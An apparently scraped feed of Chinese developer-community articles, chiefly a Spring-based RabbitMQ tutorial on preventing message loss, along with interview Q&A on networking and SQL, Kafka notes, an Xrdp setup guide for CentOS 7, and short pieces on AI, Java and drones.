    • 为了保证可靠的断开TCP的双向连接,确保足够的时间让对方收到 ACK 包。若客户端回复的 ACK 丢失,server 会在超时时间到来时,重传最后一个 fin 包,处于 TIME_WAIT 状态的 client 可以继续回复 Fin 包,发送 ACK。
    • 保证让迟来的 TCP 报文段有足够的时间被识别和丢弃,避免新旧连接混淆。有些路由器会缓存没有收到的数据包,如果新的连接开启,这些数据包可能就会和新的连接中的数据包混在一起。连接结束了,网络中的延迟报文也应该被丢弃掉,以免影响立刻建立的新连接。
    10.简要说明 HTTP 请求中的 Post 和 Get 有哪些区别的地方
    • 请求头多了 content-length 和 content-type 字段
    • Post 可以附加 body,可以支持 form、json、xml、binary 等各种数据格式
    • 行业通用规范
    • 无状态变化的建议使用 Get
    • 数据的写入与状态的修改建议使用 Post
    • 基于 HTTP 协议:都是请求返回数据,Get 将请求体放在头上,只发一次请求,Post 将请求体放在内部,需要发送两次请求
    • GET 在浏览器回退时是无害的,而 POST 会再次提交请求。
    • GET 请求会被浏览器主动 cache,而 POST 不会,除非手动设置。
    • GET 请求只能进行 URL 编码,而 POST 支持多种编码方式。
    • GET 请求在 URL 中传送的参数是有长度限制的,而 POST 么有。
    • 对参数的数据类型,GET 只接受 ASCII 字符,而 POST 没有限制。
    • GET 比 POST 更不安全,因为参数直接暴露在 URL 上,所以不能用来传递敏感信息。
    11.如果一个请求,返回的状态码是 200,但是没有内容,可能发生了什么?
    • 请求头缺失或错误
    • 参数 length 不符
    • 以上为个人理解,有误请指正。

    数据库篇

    1. 工作中常使用的 SQL 语法有哪些?
    • create table、create view、 select from where、insert into、update set values、delete、alter、order by、having
    2.数据库存储过程
    • 一组数据库操作命令,当作是自己写的一个方法,一系列步骤自己去封装(个人理解)
    3.SQL 常见查询语句编写(此处仅举例常见的查询语句,如有更多坑,希望补充)
    a.查询所有学生的数学成绩,显示学生姓名 name, 分数, 由高到低。
    SELECT a.name, b.score FROM student a, grade b WHERE a.id = b.id AND kemu = '数学' ORDER BY score DESC;
    b.统计每个学生的总成绩(由于学生可能有重复名字),显示字段:学生 id,姓名,总成绩。
    SELECT a.id, a.name, c.sum_score from student a, (SELECT b.id, sum(b.score) as sum_score FROM grade b GROUP BY id) c WHERE a.id = c.id ORDER BY sum_score DESC;
    c.列出各门课程成绩最好的学生, 要求显示字段: 学号,姓名,科目,成绩
    SELECT c.id , a.name, c.kemu, c.score FROM grade c, student a,(SELECT b.kemu, MAX(b.score) as max_score FROM grade b GROUP BY kemu) t WHERE c.kemu = t.kemu AND c.score = t.max_score AND a.id = c.id
    4.慢查询是什么意思?
    • 开启慢查询日志,可以让 MySQL 记录下查询超过指定时间的语句,通过定位分析性能的瓶颈,才能更好的优化数据库系统的性能。
    5.导致数据库性能差的可能原因有哪些?
    • 硬件环境问题,如磁盘IO
    • 查询语句问题,如join、子查询、没建索引
    • 索引失效,建了索引,查询的时候没用上
    • 查询关联了太多的join
    • 服务器关联缓存,线程数等
    • 表中存在冗余字段,在生成笛卡尔积时耗费多余的时间
    6.Redis 缓存应用场景
    • 需要将数据缓存在内存中,提升查询效率
    • 这里希望大家补充
    7.怎么定位 Redis 缓存失效问题(缓存坏了)
    • Redis 的知识,了解的不是很多
    • 抛砖引玉,请大家指正和补充。

    更多内容,我们在后续文章分享。

    免费领取:接口测试+性能测试+自动化测试+测试开发+测试用例+简历模板+测试文档

    ]]>
    详细讲解!RabbitMQ防止数据丢失-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 思维导图

    在这里插入图片描述

    一、分析数据丢失的原因

    分析RabbitMQ消息丢失的情况,不妨先看看一条消息从生产者发送到消费者消费的过程:

    可以看出,一条消息整个过程要经历两次的网络传输:从生产者发送到RabbitMQ服务器,从RabbitMQ服务器发送到消费者

    在消费者未消费前存储在队列(Queue)中

    所以可以知道,有三个场景下是会发生消息丢失的:

    • 存储在队列中,如果队列没有对消息持久化,RabbitMQ服务器宕机重启会丢失数据。
    • 生产者发送消息到RabbitMQ服务器过程中,RabbitMQ服务器如果宕机停止服务,消息会丢失。
    • 消费者从RabbitMQ服务器获取队列中存储的数据消费,但是消费者程序出错或者宕机而没有正确消费,导致数据丢失。

    针对以上三种场景,RabbitMQ提供了三种解决的方式,分别是消息持久化,confirm机制,ACK事务机制。

    二、消息持久化

    RabbitMQ是支持消息持久化的,消息持久化需要设置:Exchange为持久化和Queue持久化,这样当消息发送到RabbitMQ服务器时,消息就会持久化。

    首先看Exchange交换机的类图:

    看这个类图其实是要说明上一篇文章介绍的四种交换机都是AbstractExchange抽象类的子类,所以根据java的特性,创建子类的实例会先调用父类的构造器,父类也就是AbstractExchange的构造器是怎么样的呢?

    从上面的注释可以看到durable参数表示是否持久化。默认是持久化(true)。创建持久化的Exchange可以这样写:

        @Bean
        public DirectExchange rabbitmqDemoDirectExchange() {
            //Direct交换机
            return new DirectExchange(RabbitMQConfig.RABBITMQ_DEMO_DIRECT_EXCHANGE, true, false);
        }

    接着是Queue队列,我们先看看Queue的构造器是怎么样的:

    也是通过durable参数设置是否持久化,默认是true。所以创建时可以不指定:

        @Bean
        public Queue fanoutExchangeQueueA() {
            //只需要指定名称,默认是持久化的
            return new Queue(RabbitMQConfig.FANOUT_EXCHANGE_QUEUE_TOPIC_A);
        }

    这就完成了消息持久化的设置,接下来启动项目,发送几条消息,我们可以看到:


    怎么证明是已经持久化了呢,实际上可以找到对应的文件:
    在这里插入图片描述
    找到对应磁盘中的目录:

    消息持久化可以防止消息在RabbitMQ Server中不会因为宕机重启而丢失

    三、消息确认机制

    3.1 confirm机制

    在生产者发送到RabbitMQ Server时有可能因为网络问题导致投递失败,从而丢失数据。我们可以使用confirm模式防止数据丢失。工作流程是怎么样的呢,看以下图解:
    在这里插入图片描述
    从上图中可以看到是通过两个回调函数confirm()、returnedMessage()进行通知。

    一条消息从生产者发送到RabbitMQ,首先会发送到Exchange,对应回调函数confirm()。第二步从Exchange路由分配到Queue中,对应回调函数则是returnedMessage()

    代码怎么实现呢,请看演示:

    首先在application.yml配置文件中加上如下配置:

    spring:
      rabbitmq:
        publisher-confirms: true
    #    publisher-returns: true
        template:
          mandatory: true
    # publisher-confirms:设置为true时。当消息投递到Exchange后,会回调confirm()方法进行通知生产者
    # publisher-returns:设置为true时。当消息匹配到Queue并且失败时,会通过回调returnedMessage()方法返回消息
    # spring.rabbitmq.template.mandatory: 设置为true时。指定消息在没有被队列接收时会通过回调returnedMessage()方法退回。

    有个小细节,publisher-returns和mandatory如果都设置的话,优先级是以mandatory优先。可以看源码:
    在这里插入图片描述
    接着我们需要定义回调方法:

    @Component
    public class RabbitmqConfirmCallback implements RabbitTemplate.ConfirmCallback, RabbitTemplate.ReturnCallback {
        private Logger logger = LoggerFactory.getLogger(RabbitmqConfirmCallback.class);
    
        /**
         * 监听消息是否到达Exchange
         *
         * @param correlationData 包含消息的唯一标识的对象
         * @param ack             true 标识 ack,false 标识 nack
         * @param cause           nack 投递失败的原因
         */
        @Override
        public void confirm(CorrelationData correlationData, boolean ack, String cause) {
            if (ack) {
                logger.info("消息投递成功~消息Id:{}", correlationData.getId());
            } else {
                logger.error("消息投递失败,Id:{},错误提示:{}", correlationData.getId(), cause);
            }
        }
    
        @Override
        public void returnedMessage(Message message, int replyCode, String replyText, String exchange, String routingKey) {
            logger.info("消息没有路由到队列,获得返回的消息");
            Map map = byteToObject(message.getBody(), Map.class);
            logger.info("message body: {}", map == null ? "" : map.toString());
            logger.info("replyCode: {}", replyCode);
            logger.info("replyText: {}", replyText);
            logger.info("exchange: {}", exchange);
            logger.info("routingKey: {}", exchange);
            logger.info("------------> end <------------");
        }
    
        @SuppressWarnings("unchecked")
        private <T> T byteToObject(byte[] bytes, Class<T> clazz) {
            T t;
            try (ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
                 ObjectInputStream ois = new ObjectInputStream(bis)) {
                t = (T) ois.readObject();
            } catch (Exception e) {
                e.printStackTrace();
                return null;
            }
            return t;
        }
    }

    我这里就简单地打印回调方法返回的消息,在实际项目中,可以把返回的消息存储到日志表中,使用定时任务进行进一步的处理。

    我这里是使用RabbitTemplate进行发送,所以在Service层的RabbitTemplate需要设置一下:

    @Service
    public class RabbitMQServiceImpl implements RabbitMQService {
        @Resource
        private RabbitmqConfirmCallback rabbitmqConfirmCallback;
    
        @Resource
        private RabbitTemplate rabbitTemplate;
    
        @PostConstruct
        public void init() {
            //指定 ConfirmCallback
            rabbitTemplate.setConfirmCallback(rabbitmqConfirmCallback);
            //指定 ReturnCallback
            rabbitTemplate.setReturnCallback(rabbitmqConfirmCallback);
        }
        
        @Override
        public String sendMsg(String msg) throws Exception {
            Map<String, Object> message = getMessage(msg);
            try {
                CorrelationData correlationData = (CorrelationData) message.remove("correlationData");
                rabbitTemplate.convertAndSend(RabbitMQConfig.RABBITMQ_DEMO_DIRECT_EXCHANGE, RabbitMQConfig.RABBITMQ_DEMO_DIRECT_ROUTING, message, correlationData);
                return "ok";
            } catch (Exception e) {
                e.printStackTrace();
                return "error";
            }
        }
        
        private Map<String, Object> getMessage(String msg) {
            String msgId = UUID.randomUUID().toString().replace("-", "").substring(0, 32);
            CorrelationData correlationData = new CorrelationData(msgId);
            String sendTime = sdf.format(new Date());
            Map<String, Object> map = new HashMap<>();
            map.put("msgId", msgId);
            map.put("sendTime", sendTime);
            map.put("msg", msg);
            map.put("correlationData", correlationData);
            return map;
        }
    }

    大功告成!接下来我们进行测试,发送一条消息,我们可以控制台:
    在这里插入图片描述
    假设发送一条信息没有路由匹配到队列,可以看到如下信息:
    在这里插入图片描述
    这就是confirm模式。它的作用是为了保障生产者投递消息到RabbitMQ不会出现消息丢失

    3.2 事务机制(ACK)

    最开始的那张图已经讲过,消费者从队列中获取到消息后,会直接确认签收,假设消费者宕机或者程序出现异常,数据没有正常消费,这种情况就会出现数据丢失

    所以关键在于把自动签收改成手动签收,正常消费则返回确认签收,如果出现异常,则返回拒绝签收重回队列。
    在这里插入图片描述
    代码怎么实现呢,请看演示:

    首先在消费者的application.yml文件中设置事务提交为manual手动模式:

    spring:
      rabbitmq:
        listener:
          simple:
            acknowledge-mode: manual # 手动ack模式
            concurrency: 1 # 最少消费者数量
            max-concurrency: 10 # 最大消费者数量

    然后编写消费者的监听器:

    @Component
    public class RabbitDemoConsumer {
    
        enum Action {
            //处理成功
            SUCCESS,
            //可以重试的错误,消息重回队列
            RETRY,
            //无需重试的错误,拒绝消息,并从队列中删除
            REJECT
        }
    
        @RabbitHandler
        @RabbitListener(queuesToDeclare = @Queue(RabbitMQConfig.RABBITMQ_DEMO_TOPIC))
        public void process(String msg, Message message, Channel channel) {
            long tag = message.getMessageProperties().getDeliveryTag();
            Action action = Action.SUCCESS;
            try {
                System.out.println("消费者RabbitDemoConsumer从RabbitMQ服务端消费消息:" + msg);
                if ("bad".equals(msg)) {
                    throw new IllegalArgumentException("测试:抛出可重回队列的异常");
                }
                if ("error".equals(msg)) {
                    throw new Exception("测试:抛出无需重回队列的异常");
                }
            } catch (IllegalArgumentException e1) {
                e1.printStackTrace();
                //根据异常的类型判断,设置action是可重试的,还是无需重试的
                action = Action.RETRY;
            } catch (Exception e2) {
                //打印异常
                e2.printStackTrace();
                //根据异常的类型判断,设置action是可重试的,还是无需重试的
                action = Action.REJECT;
            } finally {
                try {
                    if (action == Action.SUCCESS) {
                        //multiple 表示是否批量处理。true表示批量ack处理小于tag的所有消息。false则处理当前消息
                        channel.basicAck(tag, false);
                    } else if (action == Action.RETRY) {
                        //Nack,拒绝策略,消息重回队列
                        channel.basicNack(tag, false, true);
                    } else {
                        //Nack,拒绝策略,并且从队列中删除
                        channel.basicNack(tag, false, false);
                    }
                    channel.close();
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }

    解释一下上面的代码,如果没有异常,则手动确认回复RabbitMQ服务端basicAck(消费成功)。

    如果抛出某些可以重回队列的异常,我们就回复basicNack并且设置重回队列。

    如果是抛出不可重回队列的异常,就回复basicNack并且设置从RabbitMQ的队列中删除。

    接下来进行测试,发送一条普通的消息"hello":
    在这里插入图片描述
    解释一下ack返回的三个方法的意思。

    ①成功确认

    void basicAck(long deliveryTag, boolean multiple) throws IOException;

    消费者成功处理后调用此方法对消息进行确认。

    • deliveryTag:该消息的index
    • multiple:是否批量.。true:将一次性ack所有小于deliveryTag的消息。

    ②失败确认

    void basicNack(long deliveryTag, boolean multiple, boolean requeue) throws IOException;
    • deliveryTag:该消息的index。
    • multiple:是否批量。true:将一次性拒绝所有小于deliveryTag的消息。
    • requeue:被拒绝的是否重新入队列。

    ③失败确认

    void basicReject(long deliveryTag, boolean requeue) throws IOException;
    • deliveryTag:该消息的index。
    • requeue:被拒绝的是否重新入队列。

    basicNack()和basicReject()的区别在于:basicNack()可以批量拒绝,basicReject()一次只能拒接一条消息

    四、遇到的坑

    4.1 启用nack机制后,导致的死循环

    上面的代码我故意写了一个bug。测试发送一条"bad",然后会抛出重回队列的异常。这就有个问题:重回队列后消费者又消费,消费抛出异常又重回队列,就造成了死循环。
    在这里插入图片描述
    那怎么避免这种情况呢?

    既然nack会造成死循环的话,我提供的一个思路是不使用basicNack(),把抛出异常的消息落库到一张表中,记录抛出的异常,消息体,消息Id。通过定时任务去处理

    如果你有什么好的解决方案,也可以留言讨论~

    4.2 double ack

    有的时候比较粗心,不小心开启了自动Ack模式,又手动回复了Ack。那就会报这个错误:

    消费者RabbitDemoConsumer从RabbitMQ服务端消费消息:java技术爱好者
    2020-08-02 22:52:42.148 ERROR 4880 --- [ 127.0.0.1:5672] o.s.a.r.c.CachingConnectionFactory       : Channel shutdown: channel error; protocol method: #method<channel.close>(reply-code=406, reply-text=PRECONDITION_FAILED - unknown delivery tag 1, class-id=60, method-id=80)
    2020-08-02 22:52:43.102  INFO 4880 --- [cTaskExecutor-1] o.s.a.r.l.SimpleMessageListenerContainer : Restarting Consumer@f4a3a8d: tags=[{amq.ctag-8MJeQ7el_PNbVJxGOOw7Rw=rabbitmq.demo.topic}], channel=Cached Rabbit Channel: AMQChannel(amqp://guest@127.0.0.1:5672/,5), conn: Proxy@782a1679 Shared Rabbit Connection: SimpleConnection@67c5b175 [delegate=amqp://guest@127.0.0.1:5672/, localPort= 56938], acknowledgeMode=AUTO local queue size=0

    出现这个错误,可以检查一下yml文件是否添加了以下配置:

    spring:
      rabbitmq:
        listener:
          simple:
            acknowledge-mode: manual
            concurrency: 1
            max-concurrency: 10

    如果上面这个配置已经添加了,还是报错,有可能你使用@Configuration配置了SimpleRabbitListenerContainerFactory,根据SpringBoot的特性,代码优于配置,代码的配置覆盖了yml的配置,并且忘记设置手动manual模式

    @Bean
        public SimpleRabbitListenerContainerFactory rabbitListenerContainerFactory(ConnectionFactory connectionFactory) {
            SimpleRabbitListenerContainerFactory factory = new SimpleRabbitListenerContainerFactory();
            factory.setConnectionFactory(connectionFactory);
            //设置手动ack模式
            factory.setAcknowledgeMode(AcknowledgeMode.MANUAL);
            return factory;
        }

    如果你还是有报错,那可能是写错地方了,写在生产者的项目了。以上的配置应该配置在消费者的项目。因为ack模式是针对消费者而言的。我就是写错了,写在生产者,折腾了几个小时,泪目~

    4.3 性能问题

    其实手动ACK相对于自动ACK肯定是会慢很多,我在网上查了一些资料,性能相差大概有10倍。所以一般在实际应用中不太建议开手动ACK模式。不过也不是绝对不可以开,具体情况具体分析,看并发量,还有数据的重要性等等。

    所以在实际项目中还需要权衡一下并发量和数据的重要性,再决定具体的方案

    4.4 启用手动ack模式,如果没有及时回复,会造成队列异常

    如果开启了手动ACK模式,但是由于代码有bug的原因,没有回复RabbitMQ服务端,那么这条消息就会放到Unacked状态的消息堆里,只有等到消费者的连接断开才会转到Ready消息。如果消费者一直没有断开连接,那Unacked的消息就会越来越多,占用内存就越来越大,最后就会出现异常。

    这个问题,我没法用我的电脑演示,我的电脑太卡了。

    五、总结

    通过上面的学习后,总结了RabbitMQ防止数据丢失有三种方式:

    • 消息持久化
    • 生产者消息确认机制(confirm模式)
    • 消费者消息确认模式(ack模式)

    上面所有例子的代码都上传github了:

    https://github.com/yehongzhi/mall

    如果你觉得这篇文章对你有用,点个赞吧~

    你的点赞是我创作的最大动力~

    想第一时间看到我更新的文章,可以微信搜索公众号「java技术爱好者」,拒绝做一条咸鱼,我是一个努力让大家记住的程序员。我们下期再见!!!
    在这里插入图片描述

    能力有限,如果有什么错误或者不当之处,请大家批评指正,一起学习交流!

    ]]>
    kafka_架构模型-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 Kafka架构模型

    p1014.png

    Kafka消费速度快:

    1. 页缓存:找个磁盘当内存;
    2. kafka采用顺序读写,比固态磁盘快

    p1015.png

    1. 如果消费速度太慢,更改topic的分区个数,就会有很多线程来消费。

    flume与kafka的整合

    flume监控文件夹,有新文件就搜集起来到kafka队列中

    1. source:spoolDir Source
    2. channel:memory channel
    3. sink:数据到kafka里面

    副本默认2

    注:仅作笔记。

    ]]>
    智能工作:人工智能将如何重塑远程工作-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800

    --------点击屏幕右侧或者屏幕底部“+订阅”,关注我,随时分享机器智能最新行业动态及技术干货----------

    image.png

    尽管人工智能的出现受到了雇主和雇员的不同程度的怀疑和恐惧,但在远程工作中,它的潜力不可低估。

    机器学习已经在积极地为世界各地的求职者增加就业机会,而 AI 可能很快会完全消除重复性工作——从而使企业有更多时间培训工人承担更多技能工作。

    远程工作的吸引力在全球范围内呈指数级增长。尽管企业在接受远程工作方面有些迟缓,但 COVID-19 大流行无意中展示了技术如何让员工能够轻松地以类似的生产率水平工作——尽管他们不在工作场所。

    随着 COVID-19 迫使越来越多的员工在自己家里设立办公室,员工的办公室生活会不会再次发生变化?人工智能和机器学习真的能为更多的公司维持在家工作(WFH)文化吗?

    使用AI管理远程工作

    人力资源经理和员工必须执行许多任务,以使其符合雇用的法律要求以及其各自公司发布的政策。当考虑到所有这些合规性时,找到合适的候选人可能是一个耗时的过程。但是,企业可以创建远程职位,以减轻经理或内部员工的负担。

    对 WFH 的批评之一是企业监视外部工人的生产力和质量的能力。幸运的是,人工智能和机器学习可以帮助您。团队负责人、主管和经理都可以求助于机器学习程序,以一种非侵入性和准确的方式监控员工的表现。

    更现代的系统能够通过调查工具利用信息,提供公正的绩效评估,并根据具体情况提供准确的报告,指出员工各自的优势和劣势。

    在这里,技术起了带头作用,并创建了难以通过人工管理进行复制的分析水平。对于在远程位置工作的拥有大量员工的公司而言尤其如此。

    未来的匹配

    人力资源专业人士和招聘经理都会发现寻找合适人选的过程非常耗时。招聘往往是乏味的,当有很多申请者时,总有一个危险,即有技能的候选人可能会被忽视。

    人工智能将很快成为内部招聘的关键部分。能够自动筛选数百个简历,在线个人资料和求职信的程序将能够挑选出候选人的关键属性和理想素质,并在适当时突出显示他们。

    技术也将有助于填补远程职位。考虑到这一点,AI 和 WFH 确实是未来的匹配。远程工作将帮助企业减少内部支出,并允许熟练的员工根据公司的属性为其工作,而不是根据其与办公室的距离来为他们工作。

    匹配AI和远程工作可帮助招聘人员甄选最合适的候选人,并吸引希望在家中工作的潜在员工。

    克服远程工作的弊端

    继毁灭性的 COVID-19 大流行之后,不可避免的是,越来越多的企业将以更快的速度接受 WFH。但是,虽然对于更多员工来说,远程工作已成为人们的首选,但并不是所有人都理想的选择。

    一些员工可能由于有限的共享生活空间而无法在家中成功工作,因此会发现很难提高工作效率。在其他地方,远程工作对留守父母和照料者都有很大的好处。

    COVID-19 周围的气候使远程工作成为帮助保护员工的基本选择。反过来,这正帮助公司更多地了解 WFH 和 AI 的潜力。越来越多的企业开始制定可持续的 WFH 计划,以帮助管理生产力并从远方有效地委派任务。

    这些新方法对于为员工开发更多远程机会可能具有重要意义——为全职远程工作打开了大门。

    自适应人工智能

    当然,AI 带有警告。如今,人工智能不可避免地会承担一些人类工人所从事的工作。但是,它为创建更多就业机会打开了大门。

    过去曾从事 WFH 任务的人会意识到AI技术的强大功能。在继续开发人工智能系统时,至关重要的是,工人必须掌握控制此类系统所需的技能和知识。

    COVID-19 的不幸到来为全球员工提供了远程工作路测。尽管存在一些警告和局限性,但人工智能将很快改变我们对 WFH 职位的看法,并为希望雇用和与来自世界各地的人才合作的企业开辟新天地。

    image.png

    原文链接:https://ai.51cto.com/art/202008/623196.htm
    文章转自51cto,本文一切观点和《机器智能技术》圈子无关

    ]]>
    Centos7系统安装远程桌面服务-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 Xrdp是Microsoft远程桌面协议(RDP)的一个开源实现,它允许以图形方式控制远程系统。使用RDP,您可以登录到远程计算机并创建一个真正的桌面会话,就像您登录到本地计算机一样。
    系统环境
    服务端:Centos7.7 Minimal
    客户端:Windows10
    安装桌面环境
    本实验中安装的系统没有安装桌面环境,我们需要自己安装,如果已经安装桌面了清跳过这一步。Centos7提供了"Cinnamon Desktop","MATE Desktop","GNOME Desktop","KDE Plasma Workspaces","LXQt Desktop","Xfce"让我们安装。

    下面的命令列出可用环境组:

    [root@localhost ~]# yum grouplist
    Loaded plugins: fastestmirror
    There is no installed groups file.
    Maybe run: yum groups mark convert (see man yum)
    Loading mirror speeds from cached hostfile

    • base: mirrors.tuna.tsinghua.edu.cn
    • epel: mirrors.aliyun.com
    • extras: mirrors.aliyun.com
    • updates: mirrors.aliyun.com
      Available Environment Groups:

    Minimal Install
    Compute Node
    Infrastructure Server
    File and Print Server
    Cinnamon Desktop
    MATE Desktop
    Basic Web Server
    Virtualization Host
    Server with GUI
    GNOME Desktop
    KDE Plasma Workspaces
    Development and Creative Workstation
    Available Groups:
    Cinnamon
    Compatibility Libraries
    Console Internet Tools
    Development Tools
    Educational Software
    Electronic Lab
    Fedora Packager
    General Purpose Desktop
    Graphical Administration Tools
    Haskell
    LXQt Desktop
    Legacy UNIX Compatibility
    MATE
    Milkymist
    Scientific Support
    Security Tools
    Smart Card Support
    System Administration Tools
    System Management
    TurboGears application framework
    Xfce
    Done
    我们可以选择自己喜欢的桌面环境,在这里选择安装Xfce桌面:

    [root@localhost ~]# yum -y install epel-release && yum groupinstall Xfce
    安装Xrdp
    [root@localhost ~]# yum -y install xrdp
    安装完成之后,设置开机启动并启动xrdp

    [root@localhost ~]# systemctl start xrdp && systemctl enable xrdp
    创建~/.Xclients,设置默认启动xfce4桌面

    [root@localhost ~]# echo "xfce4-session" > ~/.Xclients
    [root@localhost ~]# chmod +x .Xclients
    在客户端远程连接
    Centos7安装Xrdp远程桌面服务Centos7安装Xrdp远程桌面服务

    Centos7安装Xrdp远程桌面服务Centos7安装Xrdp远程桌面服务

    Centos7安装Xrdp远程桌面服务Centos7安装Xrdp远程桌面服务

    总结
    安装Xrdp服务器允许您通过图形界面从本地管理CentOS 7服务器。

    本文原创地址:https://www.linuxprobe.com/centos7-xrdp-remote-desktop.html编辑:逄增宝,审核员:逄增宝

    ]]>
    全新出击!《Java开发手册(嵩山版)》解读手册升级下载-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 《Java开发手册(嵩山版)》解读版升级下载

    随着《Java开发手册(嵩山版)》的发布,解读再升级!灵魂13问随新版JAVA开发手册重磅回归,一线大厂怎么用JAVA?千万阅读量技术博主15问为你全面剖析。

    作者介绍
    Hollis,一个对Coding有着独特追求的人,现任阿里巴巴技术专家,个人技术博主,技术文章全网阅读量数千万,《程序员的三门课》联合作者。

    免费下载
    《〈Java开发手册(嵩山版)〉灵魂15问》

    或者复制该链接到浏览器完成下载或分享:https://developer.aliyun.com/topic/download?id=811

    java 灵魂15问.jpg

    精彩导读

    image.png

    一、为什么禁止使用Apache Beanutils进行属性的copy?
    市面上有很多类似的属性拷贝工具类,比较常用的有
    1、Spring BeanUtils 2、Cglib BeanCopier 3、Apache BeanUtils 4、Apache PropertyUtils 5、Dozer
    那么,我们到底应该选择哪种工具类更加合适呢?为什么Java开发手册中提到禁止使用Apache BeanUtils呢?
    image.png
    接下来就聚焦于对比这几个类库的性能问题来分析。>>点击查看详情

    二、为什么要求日期格式化时必须有使用y表示年,而不能用Y?
    在Java中进行日期处理大家一定都不陌生,我们经常会需要在代码中进行日期的转换、日期的格式化等操作。

    而一般我们进行日期格式化的时候都会使用SimpleDateFormat工具,之前我们有一篇文章介绍过SimpleDateFormat的线程安全问题,这一篇文章再来介绍一个和SimpleDateFormat有关,很容易被忽视,而一旦忽视可能导致大故障的问题。>>点击查看详情

    三、《 Java 开发手册-泰山版》提到的三目运算符的空指针问题到底是个怎么回事?
    手册中有一条规约引起了作者的关注,那就是手册中提到在三目运算符使用过程中,需要注意自动拆箱导致的NullPointerException(后文简称:NPE)问题:
    image.png
    具体是怎样的呢?>>点击查看详情

    四、为什么建议初始化HashMap的容量大小?
    我们之前提到过,《Java 开发手册》中建议我们设置 HashMap 的初始化容量。
    image.png
    那么,为什么要这么建议?>>点击查看详情

    五、Java开发手册建议创建HashMap时设置初始化容量, 但是多少合适呢?
    HashMap 有扩容机制,就是当达到扩容条件时会进行扩容。HashMap 的扩容条件就是当 HashMap 中的元素个数(size)超过临界值(threshold)时就会自动扩容。在 HashMap 中,threshold = loadFactor * capacity

    所以,如果我们没有设置初始容量大小,随着元素的不断增加,HashMap 会发生多次扩容,而 HashMap 中的扩容机制决定了每次扩容都需要重建 hash 表,是非常影响性能的。>>点击查看创建HashMap时设置初始化容量多少合适

    六、为什么禁止使用Executors创建线程池?
    为什么说可以通过Executors静态工厂构建线程池,但一般不建议这样使用。
    本节我们就来围绕这个问题来分析一下为什么JDK自身提供的构建线程池的方式并不建议使用?到底应该如何创建一个线程池呢?>>点击查看详情

    七、为什么要求谨慎使用ArrayList中的subList方法?
    集合是Java开发日常开发中经常会使用到的。

    关于集合类,《Java开发手册》中其实还有另外一个规定:
    image.png
    本节就来分析一下为什么会有如此建议?其背后的原理是什么?>>点击查看详情

    八、为什么不建议在for循环中使用“+”进行字符串拼接?
    使用+拼接字符串,其实只是Java提供的一个语法糖,那么他的内部原理到底是如何实现的。>>点击查看详情

    语法糖:语法糖(Syntactic sugar),也译为糖衣语法,是由英国计算机科学家彼得·兰丁发明的一个术语,指计算机语言中添加的某种语法,这种语法对语言的功能没有影响,但是更方便程序员使用。语法糖让程序更加简洁,有更高的可读性。

    九、为什么禁止在for each循环里进行元素的remove/add操作?
    在Java开发手册中,有这样一条规定:
    image.png
    本节就来深入分析一下该规定背后的思考。>>点击查看详情

    十、为什么禁止工程师直接使用日志系统(Log4j、Log back) 中的API?
    作为Java程序员,我想很多人都知道日志对于一个程序的重要性,尤其是Web应用。很多时候,日志可能是我们了解应用程序如何执行的唯一方式。

    所以,日志在Java Web应用中至关重要,但是,很多人却以为日志输出只是一件简单的事情,所以会经常忽略和日志相关的问题。>>点击查看详情

    十一、为什么禁止把SimpleDateFormat定义成static变量?
    在日常开发中,我们经常会用到时间,我们有很多办法在Java代码中获取时间。但是不同的方法获取到的时间的格式都不尽相同,这时候就需要一种格式化工具,把时间显示成我们需要的格式。

    最常用的方法就是使用SimpleDateFormat类。这是一个看上去功能比较简单的类,但是,一旦使用不当也有可能导致很大的问题。本节就围绕SimpleDateFormat的用法、原理等来深入分析下如何以正确的姿势使用它。>>点击查看详情

    十二、为什么禁止开发人员使用is Success作为变量名?
    在日常开发中,我们会经常要在类中定义布尔类型的变量,比如在给外部系统提供一个RPC接口的时候,我们一般会定义一个字段表示本次请求是否成功的。

    关于这个”本次请求是否成功”的字段的定义,其实是有很多种讲究和坑的,稍有不慎就会掉入坑里,作者在很久之前就遇到过类似的问题,本节就来围绕这个简单分析一下,到底该如何定一个布尔类型的成员变量。>>点击查看详情

    十三、为什么禁止开发人员修改serialVersionUID字段的值?
    关于serialVersionUID 。这个字段到底有什么用?如果不设置会怎么样?为什么《Java开发手册》中有以下规定:
    image.png
    本节带你一探究竟。>>点击查看详情

    十四、为什么建议开发者谨慎使用继承?
    对于很多开发者来说,继承肯定都是不陌生的。但是,继承一定适合所有的场景吗?毫无忌讳的使用继承来做代码扩展真的好吗?
    为什么《Java开发手册》中有一条规定:谨慎使用继承的方式进行扩展,优先使用组合的方式实现。>>点击查看详情

    十五、为什么禁止使用count(列名) 或count(常量) 来替代count(*)?
    除了COUNT(id)和COUNT(*)以外,还可以使用COUNT(常量)(如COUNT(1))来统计行数,那么这三条SQL语句有什么区别呢?到底哪种效率更高呢?为什么《Java开发手册》中强制要求不让使用 COUNT(列名)或 COUNT(常量)来替代 COUNT(*)呢?
    image.png
    本节就这些问题带来解答。>>点击查看详情


    藏经阁系列电子书

    阿里云开发者社区——藏经阁系列电子书,汇聚了一线大厂的技术沉淀精华,爆款不断。
    点击链接获取海量免费电子书:https://developer.aliyun.com/topic/ebook

    开发者藏经阁.jpg

    ]]>
    阿里云人工智能+大数据的实践与应用 — 阿里云开发者DevUP 沙龙·厦门站 Fri, 02 May 2025 09:39:03 +0800 阿里云开发者社区携手云原生后端、阿里云基础产品事业部共同出品了本次沙龙。

    现场邀请了4位阿里云专家为大家分享云计算行业人工智能+大数据的实践与应用,期待您的参与。

    第2页.png

    ]]>
    无人机是如何崛起并改变市场需求的 Fri, 02 May 2025 09:39:03 +0800



    了解多年来无人机的市场、可用性和需求是如何上升的。



    电影里虚构的世界里,空中已经布满了成群的无人机。但是,在现实生活中,我们离实现这一现实目标还差得远。这给我们带来了一个问题:无人机是会继续存在,还是会成为另一种城市炒作的一部分?不管未来会发生什么,目前,这些自动驾驶汽车在带来第四次工业革命方面也起到了重要作用。普华永道的一份题为《建立无人机信任》的报告显示,近31%的英国公众对无人机技术持积极态度,而在商业领域,这一比例上升至56%。该公司相信,通过教育,可以赢得公众和企业的信任,也可以改变人们对无人机的态度。欧盟表示,到2025年,该市场在欧洲的价值将达到10亿欧元。


